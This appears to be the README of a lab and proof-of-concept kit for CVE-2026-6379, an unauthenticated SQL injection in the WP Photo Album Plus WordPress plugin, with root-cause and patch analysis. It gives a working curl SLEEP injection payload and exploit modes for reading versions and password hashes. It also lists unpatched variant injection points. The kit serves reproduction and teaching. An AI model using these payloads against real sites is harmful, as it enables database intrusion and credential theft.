参数: wppa-supersearch
严重性: 根据 WPScan/Wordfence,CVSS 8.6(高危)
厂商修复: 2026-04-17(WordPressBugBounty 镜像中的提交 d2b0d05d)
公开披露: 2026-04-27(WPScan)
此工具包为您提供自包含的 Docker 实验环境和可用的 PoC,以便您能够端到端地复现、验证和教学该漏洞。
# 在实验主机上:
cd lab && ./setup.sh
# 当安装程序打印 "=== LAB READY ===" 并附带 page_id 时:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
存在漏洞的目标对 SLEEP 探测的响应时间约为 ~5s;已修补的目标响应时间小于 <1s。
手动单行检查:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # 本文件
├── docs/
│ ├── writeup.md # 根因 + 补丁分析
│ └── prompts.md # 提炼出本工具包的 AI 研究提示词
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # 启动 / 拆除 / 清理
│ └── init/install.sh # 幂等安装程序(wp-cli)
└── pocs/
├── exploit.py # 基于时间的盲注 SQLi(探测 / 版本 / 用户 / 哈希)
└── test_oracle.sh # 端到端集成测试
wppa_get_photos() 将请求参数 wppa-supersearch 解析为 CSV 格式的 s1,type,s3,DATA。当 type='o'(所有者)时,DATA 被直接拼接进 SQL 字符串:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
没有引号转义,也没有使用 $wpdb->prepare。设置 wppa-supersearch=,o,,x' OR (...)-- - 可以逃逸被引号包裹的所有者字段并执行任意 SQL。该端点是承载 [wppa] 短代码的公共前端页面,因此无需任何认证。
修复方案是将所有此前直接拼接的用例包裹在 $wpdb->prepare(..., %s) 中。
d2b0d05d)CVE-2026-6379 补丁重写了 wppa-functions.php 中 wppa_get_photos() 内的六个不同 SQL 注入点。两个 PoC 模式(probe 和 probe-calendar)分别命中其中相互独立的注入点;其余注入点仅在载荷形式上有所不同。所有注入点均无需认证,并可通过与主注入点相同的 wppa-occur=N 门控条件访问。
| # | 注入点(存在漏洞的行) | 触发参数 | PoC 模式 |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data'(第 1244 行) | wppa-supersearch=,o,,… | --mode probe(已在线验证) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>'(第 1237 行) | wppa-supersearch=,n,,… | 未利用(slug 过滤器会去除引号) |
| 3 | tag — WHERE tags LIKE '%$d%'(第 1254 行) | wppa-supersearch=,g,,… | 受 wppa_sanitize_tags() 限制 |
| 4 | 日历 exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%'(第 1361 行) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar(已在线验证) |
| 5 | 日历 timestamp — WHERE timestamp >= $t1 AND timestamp < $t2(第 1368 行) | wppa-calendar=timestamp&wppa-caldate=… | 数值强制转换(intval)— 受限 |
| 6 | 日历 modified — 与 timestamp 相同(第 1375 行) | wppa-calendar=modified&wppa-caldate=… | 数值强制转换 — 受限 |
第 #4–#6 行还在同一提交中移除了一个悬空的 ORDER BY $order 片段 — 请参阅下方的“相关加固”。
针对同一存在漏洞的构建版本对 wppa-functions.php 进行更广泛的审计,发现了 CVE-2026-6379 补丁范围之外的注入点。这些并非 WPScan/Wordfence 所发布的内容,且并非所有注入点都同样可利用,但在此记录以便实验环境也可用于变体挖掘。
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 可能为独立漏洞状态: 存在于 9.1.11.001(补丁后)。d2b0d05d 未解决此问题。可作为后续 CVE 的候选。
%s 不适用于逗号分隔的 IN 列表(它始终只生成一个带引号的字符串)。插件通过将预处理语句包裹在 stripslashes() 中来绕过此问题,而该函数会移除 prepare() 刚刚添加的转义 — 如果列表中的任何元素受到攻击者污染,则会重新打开注入面。
代表性出现位置:wppa-functions.php 第 660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491 行。
用于变体分析的搜索查询:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — 部分解决补丁从日历/IN 子句注入点中移除了 ORDER BY $order,但在其他位置仍保留。$order 来自插件运行时状态(设置表)— 可利用性需要对该状态存在写入路径。请将其视为加固项。
wp_strip_all_tags() 用作 SQL 清理器(#4 的变体)wp_strip_all_tags 去除的是 HTML,而非 SQL。只要它出现在带引号的 SQL 片段周围,该片段就可被注入。除 caldate 之外,请审计任何在拼接前流经此函数的其他请求值。
| 状态 | probe | probe-calendar |
|---|---|---|
| 存在漏洞(9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| 已修补(9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| 插件已禁用 | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
无 [wppa] 短代码的页面 | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
在运行中的实验环境上切换版本:
# 已修补:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# 重新运行探测;应为阴性结果。
admin / adminadmin — 切勿暴露到互联网。./setup.sh purge 进行拆除(会删除数据库卷)。wppa-functions.php(存在漏洞):https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php(已修补):https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php